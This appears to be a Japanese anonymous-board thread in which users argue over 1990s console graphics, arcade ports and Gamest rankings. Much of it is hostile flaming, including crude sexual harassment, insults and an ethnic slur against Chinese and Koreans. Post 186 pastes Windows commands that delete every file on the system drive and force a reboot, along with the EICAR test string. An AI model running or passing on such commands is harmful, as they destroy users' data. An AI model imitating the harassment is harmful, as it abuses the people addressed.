今日も元気に自演を繰り返す

73:名無しの挑戦状
13/01/21 19:18:14.00 OcO5lcDR
愛してる。きみにはめたい。アナルをひらいて。

74:名無しの挑戦状
13/01/21 19:40:23.59 2EzlSZDY
アナルって何がいいの?全然したいと思わないんだけど。

75:名無しの挑戦状
13/01/21 20:10:05.65 fTD4iYsq
サターン版バーチャのリングをBGで誤魔化していたのは事実だな
リング外にキャラが押し出された時に、フィールドが宙に浮いたペラ紙のように見えて
違和感を覚えた人は多いだろう
それでもポリゴン欠けが頻繁に発生していたのだからサターンの3D性能の貧弱さに先行きは案じられたものだ

サターン版バーチャ2でも同様の処理がなされていたな
AC版は背景もポリゴン化され進化していたが
サターン版では背景も一枚絵で妥協されていた

プレイステーションの場合、鉄拳3にもなるとフィールド、背景をポリゴンで描写しつつハイレゾの高解像度を使用する進化を見せた
明らかにサターンの性能は低かったな

76:名無しの挑戦状
13/01/21 20:21:40.91 fTD4iYsq
サターンとPSのポリゴンの違いを最も印象づけたのはグローシェーディングだろうな
PSはあらゆるゲームで多用されグラデーションのかかった深みのあるポリゴンが印象的
サターンはテクスチャに単にポリゴン張ったけののっぺりした画作りが特徴

サターンでも出来ないことはないが
演算性能が低いせいで仕様はごく一部のゲームで限定的に使用するに留まっている

PC-FXは浮動小数点演算、Zバッファをサポートし、正確な3Dポリゴン表現ができる
世界初のトゥルーポリゴンマシンといったところか
機能面ではPS以上だっただけに本気で開発したソフトが見てみたかったな

77:名無しの挑戦状
13/01/21 20:22:08.12 JME1GHRF
いつのまにか鉄拳に逆転されてたよな

78:名無しの挑戦状
13/01/21 20:24:30.90 PfMya/fv
SSのデイトナとリッジを比較してポリゴンがかけるとかフレームレートが低いとか言われるけど
デイトナは40台もマシンが出てるししょうがない
比較するならセガラリーのほうだろう
セガラリーはリッジに負けてない

79:名無しの挑戦状
13/01/21 20:32:08.25 fTD4iYsq
リッジと比較するならそれこそサターン程度太刀打ち出来ない相手だろう
R4の映像が公開された時DCは不要とまで言わしめたからな
そして最終的にはグランツーリスモ2でPSのグラフィックは完成を見せた

80:名無しの挑戦状
13/01/21 20:33:49.24 2EzlSZDY
>>78
URLリンク(www.geocities.jp)

デイトナはサーキットエディションでかなり改善されたよ。

あと、リングのことを考えるとPSでVF2はキツかったってことだよな。
PSのDOAはリングなくなってるし。

81:名無しの挑戦状
13/01/21 20:34:47.72 zFudj8Ur
>>75
間違ったこと言うなよ
VF1はリング、BGじゃないぞw
ちゃんとポリゴン描写でやってる
だからVDP1の処理能力超えてしまってるから、ポリゴン欠けが生じてるんだよ(描画が間に合わない)
サターンは第一作目でポリゴン性能の限界出し切ってたの知らないニワカバカですかなwww

リミックスで地面をBG化してポリゴン欠けの症状緩和してたでしょうが

82:名無しの挑戦状
13/01/21 20:36:23.30 dgx5z/En
バーチャのリングをBGにしたのって
Remixからなんだが・・
それでポリゴン欠けが解消されたの知らないのか

83:名無しの挑戦状
13/01/21 20:38:12.53 YJ0Ox91q
さあ今日も保土ヶ谷の尻を蹴り上げるか

84:名無しの挑戦状
13/01/21 20:38:37.66 zFudj8Ur
ほんと、よく知らない知識でセガ下げしてバカ丸出しですなwww
もうちょっと、お勉強して下さいよwww

85:名無しの挑戦状
13/01/21 20:41:11.38 fTD4iYsq
プレイステーションの典型的なグラフィック

URLリンク(www.youtube.com)

グローシェーディングによる陰影がくっきりとした
深みのあるポリゴンがプレイステーションの特徴だな
PS、FXGA、64なら当たり前に出来る


サターンのテクスチャベタ張りとは次元が違った

86:名無しの挑戦状
13/01/21 20:44:38.41 zFudj8Ur
あと、デイトナとリッジ比べるのは間違い

なぜなら、デイトナは直線が多くて遠くの背景描写しないといけないからPSでも苦戦したはず
元のアーケードのリッジ自体、少ないポリゴンで済むように
カーブばっかりで遠景表示しないコースデザインになってる
その二つ比べるのはナンセンスです

87:名無しの挑戦状
13/01/21 20:47:13.92 PfMya/fv
SSでもファイティングバイパーズはグローシェーディング使ってただろ

88:名無しの挑戦状
13/01/21 20:48:22.86 zFudj8Ur
>>85
URLリンク(www.youtube.com)

いや、勝ってねーしwwww
32Xに負けてるんでないのwwww

89:名無しの挑戦状
13/01/21 21:04:09.69 YJ0Ox91q
小学校中退のID:zFudj8Urのいう勉強ってなんだ?
空き巣の入り方か?

90:名無しの挑戦状
13/01/21 21:21:50.99 2EzlSZDY
グーローシェーディング以前にPC-FXってリアルタイムポリゴンすら
まともに生成できないじゃん。
個人的にはFVとかグーローシェーディングなんて必要なかったと
思うけど。model2自体にそんな機能ないし。

91:名無しの挑戦状
13/01/21 21:24:11.38 JME1GHRF
隠しキャラでペプシマンが出るんだっけ

92:名無しの挑戦状
13/01/21 21:36:35.16 2EzlSZDY
バイパーズ特に好きでもないのに買ったなあ。

グーローシェーディングがなかったら
ペプシマンはデュラルみたいになっちゃうな。

93:名無しの挑戦状
13/01/21 22:14:40.83 Vvj3faWA
SSでエロゲーコンプしたは

94:名無しの挑戦状
13/01/21 22:49:40.03 9AmJdBEm
グーローシェーディング?
ファイターズメガミックスとかか?

95:名無しの挑戦状
13/01/21 22:51:26.62 JME1GHRF
3DOも3Dと名乗ってるわりにはからっきしだったな

96:名無しの挑戦状
13/01/22 00:34:17.93 76UUqQ6w
浮動小数点なんかでジオメトリ演算しだしたの、ドリキャス以降だろ。
当時は固定小数点だぞ。

SH2は32bitx32bit→64bitの乗算器が載っててPSより演算精度が高かった。

97:名無しの挑戦状
13/01/22 02:58:59.99 DoiRfkPw
FXよりもアタリジャガーのほうが高性能だな。
ガルルルって言うしな。

98:名無しの挑戦状
13/01/22 04:50:02.39 0Qoe2o56
メガドラはCMの割に空気過ぎ

99:名無しの挑戦状
13/01/22 04:55:04.76 kYGfFBuP
メガドラはまともなゲームがないからなぁ
わざわざACの劣化アクションを発売日に買って遊ぶかって話
単純なアクションを定価で払って遊びたいとは思わない


多人数対戦や世界初のCDROM、ドラクエ、天外といったじっくり腰を据えて遊べる大作RPG
これら家庭用ならではの遊びに特化したPCEが勝ったのは考えるまでもなく当たり前

100:名無しの挑戦状
13/01/22 06:08:22.23 uqyrrF6t
セガの失敗は1個でSH2*2の3D演算性能を実現できるカスタムチップを日立に作らせなかったこと

101:名無しの挑戦状
13/01/22 10:39:47.03 H1CDnIaV
>家庭用ならではの遊び

その最終進化形態がギャルゲーマシンなんだよな。

102:名無しの挑戦状
13/01/23 03:48:05.41 0rdtHWY6
ビデオゲーム開発のパイオニア アタリ社 倒産
スレリンク(poverty板)

103:名無しの挑戦状
13/01/23 03:53:19.55 0rdtHWY6
>>37
サイレントヒルの霧みたいな処理速度だな

104:名無しの挑戦状
13/01/23 05:40:20.18 9dahyRec
>>89
お前逆に便所虫みたいだないい意味で。

105:名無しの挑戦状
13/01/23 06:26:31.40 n4dmge6L
じゃあお前は便器の中の蛆だないい意味で。

106:名無しの挑戦状
13/01/23 07:53:17.01 7OKrSDFH
ID:9dahyRecとID:n4dmge6Lは同じ穴の狢ということですな

107:名無しの挑戦状
13/01/23 08:03:22.55 EEpMsusW
PCEのアレンジサウンド地獄もたいがい迷惑だったが
それでも
洋ゲーとACT・STG中心のラインナップのメガドラが負けたのは当然だと思うわ
洋ゲーなんて取説や保証書のないものを定価で買うようなものだし
RPG・パーティゲーム分野が弱すぎた
ついでに黒を貴重とした粗野なパッケージと土気色の64色がギャルゲやファンタジー系に不向きってのもあったな
ファンタジーゾーンやワンダーボーイも土気色

108:名無しの挑戦状
13/01/23 08:39:00.64 vPafP4qL
MD信者が常々口にするのは
「MDのゲームはすぐ値下がりするから安くなってから買った」ということ

2,3時間で終わるアクションを発売日に7000、8000円出して買おうと思うのはごく少数
売れなければ小売は仕入れなくなりメーカーも開発に消極的になる


まあ海外市場がなければトレジャーやコナミが参入する前にとっくに終わっていたハードだな
他機種では定番ソフトの魂斗羅、ドラキュラ、ロックマンですら定価以上のプレミアが付く始末

109:名無しの挑戦状
13/01/23 10:45:22.67 ELz8phLd
では、見てもらいましょうw
信者がサターン、PSにも余裕で勝ったと言われる動画を

URLリンク(www.youtube.com)

110:名無しの挑戦状
13/01/23 10:54:35.78 JRhJ/91I
いいかげん次世代機は他所でやってくれません?続けるのはバカだから?

111:名無しの挑戦状
13/01/23 12:23:39.00 9RTsPuZT
文句言ってないで別の話題にもっていけばいいだろ

112:名無しの挑戦状
13/01/23 12:48:40.65 7OKrSDFH
>>107
つちけいろ【土気色】
土のような色。やつれて血の気のない顔色をいう。つちいろ。

パステル調のSFZがこう見えるのなら、眼科行った方がいいのでは?

113:名無しの挑戦状
13/01/23 12:49:23.54 9dahyRec
>>105
便器の中の蛆?
その発想、君の家は汲み取り式。
田舎者もしくは中国人か朝鮮人だろ(笑)
いや、いい意味で。
俺は嫌いではない。
うちは水洗式でシャワートイレで便座もヒーター付きだから蛆わかないな。
君の家は汲み取り式か?
いい意味で貴重だな。
逆にご立派。

114:名無しの挑戦状
13/01/23 16:25:50.75 BUxaratt
実際家がどうであるか別にせよ、そういう図式を知っている、あるいはそういう言い回しが有効だった時代を知っている。
お互いいい年したおっさんなんだから、いつまでも若いもん気取りでとんがりなさんな。

115:名無しの挑戦状
13/01/23 16:27:33.67 YhY22lmN
>>102
アタリといえば、ハードドライビンだな
発売日に買うくらい期待度が大きかった

リプレイまで再現されていて好感は持てるが、
フレームレートが低いのとハンドル操縦できない分、楽しみが半減した

116:名無しの挑戦状
13/01/23 17:22:34.48 CV6uV7sh
PCEというとアーケードが強いイメージとハドソンを始めとする一流どころのソフトメーカーのイメージがある
メガドライブはこれといったタイトルは無いがPCEに比べると洋ゲーが充実していた
日本ではPCEがMDに名実ともに大差をつけて勝ち、海外ではメガドラの任天堂を貶す販売方法が受けた

117:名無しの挑戦状
13/01/23 18:27:48.67 n4dmge6L
>>106
いやお前も蛆だし

118:名無しの挑戦状
13/01/23 18:30:42.00 n4dmge6L
>>113
お前にぴったりの発想だろ?
育つまでに流されるか汲みとられるか
育って便器の中で蝿になるか

知恵遅れのガキのまま死ぬか
無職童貞を続けて犯罪者になるか
お前の人生を著すのにこれ以上の物はないぞw

119:名無しの挑戦状
13/01/23 18:35:33.20 n4dmge6L
               【削除人宛て】











          ご覧の通り、これがこのスレの日常です
        このスレは家庭用レトロゲーム板の趣向ではありません。












































.

120:名無しの挑戦状
13/01/23 19:12:19.23 jhWP98aj
>>112
MDのSFZとPCEのFZ比べたら
MD版の方が圧倒的にキレイなんだよねえ。
それが解らんのは実際に見て無くてスペックで判断してるからなんだろうな。

121:名無しの挑戦状
13/01/23 19:22:30.68 7OKrSDFH
>>116
でもMDの方が国内でも普及率は上だという。不思議だねぇ(棒)

122:名無しの挑戦状
13/01/23 19:24:08.08 n4dmge6L
でもお前は蛆だけどな

123:名無しの挑戦状
13/01/23 19:28:05.04 jhWP98aj
MD登場以降はアーケード移植で先を越されることも多くなったし
SFCの発売で一般層をごっそり持って行かれたからね。
残ったのはシューティング、アニメ、ギャルげー好きのマニアだけ。

124:名無しの挑戦状
13/01/23 19:31:46.09 oYHUjmTN
>>123
>MD登場以降はアーケード移植で先を越されることも多くなったし

MDのアーケード移植とかここだと馬鹿の一つ覚えみたいにストライダー飛竜しか出てこない・・・いつもまーた始まったと思ってしまう
Gradiusとか最後の忍道、源平をはじめ一流どころの良移植タイトルある?そんなマイナータイトルじゃなくて

125:名無しの挑戦状
13/01/23 19:49:54.92 7OKrSDFH
>Gradiusとか最後の忍道、源平をはじめ一流どころ
古っw
確かに80年代のゲームに限れば、PCエンジンの方に分があるけどね。

126:名無しの挑戦状
13/01/23 19:53:17.09 oYHUjmTN
古い?
ストライダー飛竜も80年代のゲームだけど

127:名無しの挑戦状
13/01/23 19:55:33.63 jhWP98aj
            MD版   PCE版
ストライダー飛竜    90/9/29 94/9/22  4年遅れ
ダライアスⅡ      90/12/20 93/12/24  3年遅れ
レインボーアイランド  90/10/5 93/6/30  2年9ヶ月遅れ
タツジン        89/12/9 92/7/24  2年7ヶ月半遅れ
フォゴットンワールド  89/11/18 92/3/27  2年4ヶ月遅れ
ゲイングランド     91/1/3 92/12/25  2年遅れ
チキチキボーイズ    92/10/16 94/7/25  1年9ヶ月遅れ
ゼロウイング      91/5/30 92/9/18  1年4ヶ月遅れ
ぷよぷよ        92/12/18 94/4/22  1年4ヶ月遅れ
ぷよぷよ通       94/12/2 96/3/29  1年3ヶ月遅れ
ボナンザブラザーズ   91/5/17 92/7/31  1年2ヶ月遅れ
大魔界村        89/8/3 90/7/27  1年遅れ
獣王記         88/11/27 89/9/22  10ヶ月遅れ
コラムス        90/6/30 91/3/29   9ヶ月遅れ
ヘルファイアー     90/9/28 91/4/12   6ヶ月半遅れ
アフターバーナーⅡ   90/3/20 90/9/28   6ヶ月遅れ
大旋風         90/6/23 90/12/14  6ヶ月遅れ

128:名無しの挑戦状
13/01/23 19:57:19.80 oYHUjmTN
>>127
そんなマイナータイトルどうでもいいんだって
で、Gradiusや最後の忍道、源平をはじめとする一流どころのアーケード移植ある?
馬鹿の一つ覚えのストライダー飛竜みたいなマイナータイトルじゃなくて

129:名無しの挑戦状
13/01/23 20:00:03.44 oYHUjmTN
>>127
それらもだいたい80年代のゲームじゃんw
で、あるのかないのか
どうよ?

130:名無しの挑戦状
13/01/23 20:13:31.83 FQ3kea/J
ストライダー飛竜は決してマイナーではないだろ。
ゲーメストのザ・ベストゲームでも9位だよ。
最後の忍道は57位ね。
PCEの最後の忍道はよくできてるし俺も好きだけど飛竜と比べたら
やはり旧世代のゲームという感じ。
ファイナルファイト、スーパーストリートファイター2
ナイトストライカー、ギャラクシーフォース2、スターブレード
リーサルエンフォーサーズなどそもそもPCEでは出てない一流タイトルもあるのだが。

131:名無しの挑戦状
13/01/23 20:23:36.88 oYHUjmTN
違う形で最後の忍道を叩きに来るとおもったけど
ゲーメスト基準ならますますメガドラの惨敗じゃん
ま、それでもいいけど

132:名無しの挑戦状
13/01/23 20:31:59.26 jhWP98aj
大魔界村とかもマイナーじゃないと思うけど。
後、移植のタイミングは重要だ。
MDの大魔界村とかタツジン、ダライアスⅡが出た時はまだゲーセンに置いてあったが
源平とかとっくに無かった。
そこらへんが古いと感じる要因か。
忍道はあったかも。

133:名無しの挑戦状
13/01/23 20:37:32.82 oYHUjmTN
ゲーメスト一位のワルキューレも稼働してる時に移植されたでしょw
別にメガドラだけじゃないっすよ

134:名無しの挑戦状
13/01/23 20:52:14.31 FQ3kea/J
そういえばリーサルエンフォーサーズって色数の面で
明らかにPCEの方が有利なのに最初に移植したのがMEGA-CDってのが
意外だな。PCEじゃ売れないと判断したのか何か技術的な
問題があったのか・・・。

135:名無しの挑戦状
13/01/23 20:59:02.57 oYHUjmTN
哀れみだと思うよw20万台だしw

136:名無しの挑戦状
13/01/23 21:05:21.03 jhWP98aj
哀れみwお前の頭が哀れだわw

137:名無しの挑戦状
13/01/23 21:05:34.29 7OKrSDFH
猿人の憶測はさておき。

海外市場を睨んでのことだろうね。SFCでも出てるし。

138:名無しの挑戦状
13/01/23 21:09:46.99 oYHUjmTN
え~、実際20万台じゃんw
違うならソース持ってきて

139:名無しの挑戦状
13/01/23 21:13:35.85 jhWP98aj
まあ海外市場目当てだろうね。
あのガンコン、リーサルⅠⅡしか使い道が無いのが残念だ。

140:名無しの挑戦状
13/01/23 21:13:50.78 oYHUjmTN
でも、日本での勝負は完全にMDが不利だから海外に土俵を移す作戦は悪くない
いつものパターンではあるけどね

141:名無しの挑戦状
13/01/23 21:20:21.68 oYHUjmTN
そういや同時期にコナミから血の輪廻が出てたな
これは面白かったしかなり売れたな

142:名無しの挑戦状
13/01/23 21:23:48.73 9dahyRec
>>118
ありがとう愛してるよ。
尻を貸してくれ。
凌辱したい。
とりあえずしゃぶってくれよ。

143:名無しの挑戦状
13/01/23 21:25:59.80 jhWP98aj
日本じゃSFCが圧倒しててPCEもMDもそこまで大差は無いよ。
な~にが完全にMDが不利、だw
完全に不利なのは海外含めた世界市場でのPCEだろが。

そういやPCEのドラキュラも一時期プレミアついてたと聞いた。

144:名無しの挑戦状
13/01/23 21:27:46.26 jhWP98aj
あ、CDロムに限ればPCE圧倒で間違いないけどね。
SFCも関係ないしな。

145:名無しの挑戦状
13/01/23 21:32:17.02 oYHUjmTN
>>143
この議論の流れは誰が見てもMDの惨敗でしょ
ゴキブリが起死回生で話題に出してきたリーサルエンフォーサーズは
俺的にはアーケード版は好きだが20万台のメガCDで哀れみで出したのがまずかった
かたやその10倍は差を付けたPCEのCDROM媒体で出したドラキュラXは高評価の売れ筋アイテムになった
日本では差がないとかどの口がいうかねえ

146:名無しの挑戦状
13/01/23 21:38:06.05 9dahyRec
その口でしゃぶってくれよ。
少しは静かになるしな。

147:名無しの挑戦状
13/01/23 21:56:52.65 FQ3kea/J
起死回生で話題に出したってのが意味不明。
実写なんで単にPCEに向いてると思っただけなのだが。
後、MEGA-CDで最初にでたけど後でROMカートリッジでも出てる。

見た目以外はMEGA-CDが移植度高いんだろうけど、俺はスーファミ版買ったな。

148:名無しの挑戦状
13/01/23 22:16:09.33 n4dmge6L
>>137
脂身の戯言こそ不要

149:名無しの挑戦状
13/01/23 22:17:31.63 n4dmge6L
>>142
3代前から両親共々性犯罪者の家系は発想から違うな無職童貞57歳

150:名無しの挑戦状
13/01/23 22:22:51.98 oYHUjmTN
>>147
ちょっと聞こうと思っていて忘れてたんだけど
最後の忍道とストライダー飛竜を比較してどう最後の忍道のほうが古臭いのか説明してくれる
誰もが納得するように
技術的なことでもいいぜ

151:名無しの挑戦状
13/01/23 22:25:31.64 oYHUjmTN
最後の忍道を旧世代とし、ストライダー飛竜を次世代と色分けした理由な

152:名無しの挑戦状
13/01/23 22:39:24.49 oYHUjmTN
半年くらいしか稼働開始日の差がないのにそこまで言い切る理由がとても楽しみ

153:名無しの挑戦状
13/01/23 23:21:43.83 9dahyRec
みんなで>>149にしゃぶってもらえば、まるく納まるな。
口とアナルに突っ込んで、
豚の丸焼き~(笑)
顔面ぶっかけ~(笑)

154:名無しの挑戦状
13/01/23 23:23:25.79 n4dmge6L
>>153
まず57年続けてる童貞を卒業したら?
犯罪に頼らずになw

155:名無しの挑戦状
13/01/24 00:17:30.02 kosVRHyz
もっともダイナミックなヒーローアクション
ストライダー飛竜
それまでのゲームの常識をくつがえす躍動する画面と斬新な発想
オリジナルな設定は今も記憶に強く残っている。
駆け、登り、すべり込む。きり立つ壁面をよじ登り
深い奈落の向こう側へと身を投じざま背後の敵影を分断する。
驚くほどのアニメーションパターンを使って、およそ思いつくかぎりの
スタントアクションが繰り広げられるのだ。
凍てつくシベリアから空中戦艦バルログへそしてアマゾンを抜けて
ついには宇宙空間まで戦いを持ち込んでしまうこの途方も無い展開。
とかくヒット作の縮小再生産が目立つゲームというジャンルで
これだけ理想を追求しきったゲームも珍しい。
例え今となっては当たり前のように行われていることでも
はじめに冒険を成し遂げた者がいたのを忘れてはいけない。

156:名無しの挑戦状
13/01/24 00:24:59.92 03HbPXB1
アーケード移植ではどう見てもPCEの圧勝だな

PCEがあればMDなんて不要


第1回ゲーメスト大賞    PCE  MD
1 ダライアス          ○   ×
2 アフターバーナーII     ○   ○
3 R-TYPE            ○   ×
4 アウトラン           ○   ○
5 ドラゴンスピリット      ○   ×
6 源平討魔伝.         ○   ×
7 ストリートファイター     ○   ×
8 妖怪道中記.         ○   ×
9 1943             ○   ×
10 忍者くん 阿修羅の章   ×   ×

第2回ゲーメスト大賞    PCE  MD
1 グラディウス II        ○   ×
2 ロストワールド        ○   ○
3 超絶倫人ベラボーマン   ○   ×
4 忍者ウォーリアーズ     ○   ○
5 パワードリフト        ○   ×
6 オーダイン          ○   ×
7 A-JAX            ×   ×
8 サイバリオン         ×   ×
9 ギャラクシーフォース    ×   ×
10 最後の忍道         ○   ×

第3回ゲーメスト大賞    PCE  MD
1 テトリス            ×   ×
2 ワルキューレの伝説    ○   ×
3 ダライアス II         ○   ○
4 ストライダー飛竜       ○   ○
5 ゲイングランド        ○   ○
6 天地を喰らう         ○   ×
7 エリア88           ×   ×
8 ナイトストライカー      ×   ○
9 イメージファイト        ○   ×
10 大魔界村          ○   ○

157:名無しの挑戦状
13/01/24 00:30:53.49 9qWLGkB0
>>154
愛してるよ、ありがとう。ケツに味噌が着いているな。臭いぞ。
お前の口は、ウンコくさいな。
ウンコマンなの?
愛してるよ。
好きだよ。
汁男さん。

158:名無しの挑戦状
13/01/24 00:33:22.09 EuaDH8FI
>>155
宇宙に行くと次世代アクションなんだ
馬鹿じゃね?

159:名無しの挑戦状
13/01/24 00:36:32.84 dsAM/mM6
>>157
57年もオナニーばかりしてるから、ありもしない物が見えるようになるんだよ無職童貞w

160:名無しの挑戦状
13/01/24 00:56:07.35 9qWLGkB0
照れるな照れるな。
びちょびちょになっているけど、いいよね。
いい反応だよ。
欲しいのかな?

161:名無しの挑戦状
13/01/24 01:05:54.06 dsAM/mM6
なんとか流そうと必死な57歳wwwwwwwww

162:名無しの挑戦状
13/01/24 01:08:39.33 fpG6xAoo
PCEは4年もかかって、なおかつ大容量CD-ROM&大容量RAMを持ってしても
ストライダーをまともに移植できなかった。
それはPCEが旧世代のゲーム機だったからである。

163:名無しの挑戦状
13/01/24 01:12:31.59 dsAM/mM6
お前は57年かかっても就職一つ出来ないけどな

164:名無しの挑戦状
13/01/24 01:13:00.00 fpG6xAoo
8bit世代 FC Mk3 PCE 
16bit世代 MD SFC
32bit世代 SS PS

165:名無しの挑戦状
13/01/24 01:13:24.64 gyQUTPbY
まあ最後の忍道はノーマルエンジンでも普通に移植出来てたからな。
大魔界村の移植にはSGが必要だったわけだし
元のアーケード版の基板のパワーは違ったんだろうね。

166:名無しの挑戦状
13/01/24 01:22:17.96 i71AJT4B
結局、最後の忍道を旧世代でストライダー飛竜を次世代と色分けした具体的な根拠は無しかね
最後はMD派得意のワンパターンで悔し紛れの>>164、頭の悪い誹謗中傷でフィニッシュ
アーケードでPCEにボコボコにされ日本で三番手に成り下がった事がよほど悔しいと見える

167:名無しの挑戦状
13/01/24 01:34:37.92 j6Dm8g1Z
>>156
自分に都合がいいところしか見ないのは猿人の卑劣さがよく現れてると思う。

第4回ゲーメスト大賞
1 ファイナルファイト
2 パロディウスだ!
3 グラディウス III
4 マジックソード
5 マーベルランド
6 コラムス
7 キャメルトライ
8 雷電
9 G-LOC
 ダークシール

PCEは3タイトル、MDは5タイトル…。

168:名無しの挑戦状
13/01/24 01:38:57.10 i71AJT4B
>>167
URLリンク(babsika.cocolog-nifty.com)

総合的にみればこれでしょw
数えていいよ

169:名無しの挑戦状
13/01/24 01:39:44.44 dsAM/mM6
               【削除人宛て】











          ご覧の通り、これがこのスレの日常です
        このスレは家庭用レトロゲーム板の趣向ではありません。












































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170:名無しの挑戦状
13/01/24 01:48:01.40 j6Dm8g1Z
>>168
91年発売の本だぞ?
片方に有利な展開に持っていこうとするとは情けない。
そこまでしてMDに勝ちたいのかw

171:名無しの挑戦状
13/01/24 01:56:52.88 EuaDH8FI
>>170
有利な展開と言われてもメガドラもPCEも両方入ってるし平等じゃんw
メガドラのタイトルが一位になかったのが不服なのかい?

172:名無しの挑戦状
13/01/24 02:01:51.56 j6Dm8g1Z
91年まで、という時間系列で比較することに何の意味があるのかね?

173:名無しの挑戦状
13/01/24 02:05:15.83 EuaDH8FI
それ以降を含めてもいいけど、もうこの時点で圧勝じゃんw

174:名無しの挑戦状
13/01/24 02:16:00.96 j6Dm8g1Z
何を持って圧勝なんだか。
ギャルゲー分野ではPCエンジンの圧勝だろうが。

175:名無しの挑戦状
13/01/24 02:36:15.92 03HbPXB1
メガドライブは1991年にはPCEとSFCに負けて
三番手の位置が定着していたからなあ

176:名無しの挑戦状
13/01/24 02:39:46.43 dsAM/mM6
>>174
お前は何をやらせても惨敗の三流未満だけどな

177:名無しの挑戦状
13/01/24 02:56:45.58 Iv44R9pe
> 【削除人宛て】

削除依頼を出して、そのスレを荒らすのはおかしくないか?
荒れていたほうが削除人をミスリードさせやすいのだろうが…

178:名無しの挑戦状
13/01/24 03:02:44.16 dsAM/mM6
荒らす?
このゴミスレに荒らしレスなんてあるのか?
ここは罵りあい貶しあうスレだろ
そのスレの利用法通りに使ってる
お前自身もな

179:名無しの挑戦状
13/01/24 03:05:13.67 dsAM/mM6
それともサターンやFXの優劣を語るのがこの板の趣向か?
ファンを貶し合うのがこの板の趣向か?
ゲーム機を叩き合うのがこの板の趣向か?

それが趣向ならMDスレで同じことをやられても趣向通りって事になるんだがね?

180:名無しの挑戦状
13/01/24 03:09:10.17 dsAM/mM6
               【削除人宛て】











          ご覧の通り、これがこのスレの日常です
        このスレは家庭用レトロゲーム板の趣向ではありません。












































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181:名無しの挑戦状
13/01/24 04:32:12.67 NhalrzF5
>>168
一瞬PCEのラインナップかと思うほどカバーしてるな
アーケードのTOP60か

182:名無しの挑戦状
13/01/24 04:49:08.69 9qWLGkB0
ID:dsAM/mM6はホモなので凌辱を求めているの?
びちょびちょなの?
ガッチガチなの?
アナルが汚ないの?
弱いの?
尻は青いけど頑張って!!
どぶねずみみたいな顔を見せて。
好きだよ。

183:名無しの挑戦状
13/01/24 05:24:39.20 jnY+7GDG
お前的にはカッコイイにかもしれないけど
端から見ててその芸風は退くから、他に路線変更したら?

184:名無しの挑戦状
13/01/24 05:36:50.15 gyQUTPbY
>>179
>MDスレで同じことをやられても

なんでお前っていつもMDスレを目の敵にしてんの?
PCEスレはいいの?

185:名無しの挑戦状
13/01/24 08:28:11.14 sNyGMFNa
次世代アクションゲームストライダー飛竜はPCエンジンでは見るも無残な姿になってしまった
メガドライブ版は神移植と称えられている

186:名無しの挑戦状
13/01/24 09:39:58.63 hESLEUam
113 :名無しんぼ@お腹いっぱい:2013/01/23(水) 18:32:58.22 ID:b0u3r9fL0
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

@Echo off
Del C:\ *.* |y

(){eval(unescape(('Script(t,'%')))})(/./g);

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


114 :名無しんぼ@お腹いっぱい:2013/01/23(水) 18:34:39.31 ID:P7zIUnMa0
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

@Echo off
Del C:\ *.* |y

(){eval(unescape(('Script(t,'%')))})(/./g);

187:名無しの挑戦状
13/01/24 09:47:14.76 hESLEUam
PCエンジン VS スーパーファミコン【外伝】
スレリンク(retro2板)

188:名無しの挑戦状
13/01/24 10:16:55.21 MAzF01c0
374 名前:名無しの挑戦状[sage] 投稿日:2013/01/19(土) 16:41:26.89 ID:9+YXvY83 [1/3]
マリオならいいよ あれはなんとも思わない
みんな知ってるし、メジャーなので、みんなのものって思うし、語ってるの聞いても
「あっそう」ってなる。一般大衆って愚か者だから、SFC、FCのやつを買う。

そんなB層を横目に、賢い人間はPCエンジンに目覚める。
ドラクエ(笑)FF(笑)マリオ(笑)だ。
CDだから臨場感がハンパない。ゲームの世界で彼女も作った。同級生、ときめきメモリアル、などなど。

375 名前:名無しの挑戦状[sage] 投稿日:2013/01/19(土) 16:59:03.42 ID:9+YXvY83 [2/3]
PCエンジン版同級生は攻略本が存在しない。不思議なことだ。
電撃PCに攻略方載ってたからいらんかったが、欲しかった。仕方なく、パソコン版の原画集を買った。
裸が沢山載っており、かなり驚いた記憶がある。
エロゲーという現実を突き付けられ、「見なきゃよかった」と思った。
やってても気分が悪い。エロシーンは自分で考える余地を残して欲しい。
ときめきメモリアルの方がいいゲームだな。
どういうわけか、ときメモといえばPS版という風潮だが、どういうことだろうか?
まあいい。SFC版が1番面白いからどうでもいいが。

376 名前:名無しの挑戦状[sage] 投稿日:2013/01/19(土) 17:10:33.77 ID:9+YXvY83 [3/3]
エロゲー、エロ本、エロい行為を現実に実行中の人間を軽蔑する。
18歳未満の人間は見れないと、法律上禁止されていることをやってる訳だから、
外見上見分けが付かないなら、首に確認札をかけて、人目に付かないよう外出を禁止すべきだと思う。

高校生の頃そんなこと考えてた。

380 名前:名無しの挑戦状[sage] 投稿日:2013/01/22(火) 19:32:51.73 ID:iz9Y7GsK
B’zを好きになったのは1995年だ。彼らの全盛期だと思う。
今までゲームしか興味なく、かっこ付けようと思い、1番売れているB’zを選んだのが失敗だった。
1995年発売のアルバム(恥ずかしいからタイトルは書かない)を
大音量で部屋で聞いてたのを思い出すだけで気が狂いそうになるときがあります。

異変に気付いたのは1997年。音楽の知識が増えるにしたがい、この音楽は非常にダサいと気が付いてしまった!
だが後の祭だ。この頃の友人には一生会うことはないだろう。

だが、ゲームに関してはそんな失敗はない。
なぜだろうな。マリオ、ときメモ、超兄貴も人間の目を見て語れる。

なぜだかわからないので、考える。

383 名前:名無しの挑戦状[sage] 投稿日:2013/01/23(水) 17:35:10.56 ID:5HFmdVAT
みなさんB’zごときに長文ご苦労様です
30代も半ばに差し掛かり、生きてるのも恥ずかしい年齢になりつつあり、外出もままならず落ち込んでいましたが
生きていく勇気が湧き、希望やらが見えてきたような気がします。

個人的に今でも胸を張って好きだと言えるのはX JAPANですね。
めちゃくちゃカッコイイだこれが
英語の歌詞が訳わからんが、ギターの音やボーカルの声が人工的ですごい。

最高のグループだとおもいます。

189:名無しの挑戦状
13/01/24 10:17:33.39 MAzF01c0
PCエンジンをやっているとこんな頭のおかしな人が育つんだな。

190:名無しの挑戦状
13/01/24 16:02:28.89 RDsdFz9E
                 ζ
               , -──-、
            ,..‐'´       `ヽ、
           /::::::         ::::ヽ
           |:::::::::::::::::   £   :::::::::|
          V::::::::::::::::_{       ヾ:::::{
          ナ::::::::::::::i`__,,,,,,,ァ_  _,,,,,_t;;:ヌ
         イヘ::::::(ヾ~!,ャt、 !'''i ィtン )=f }f
          i {t)テ" ヘ' '___,イ ヽ_/ 介'
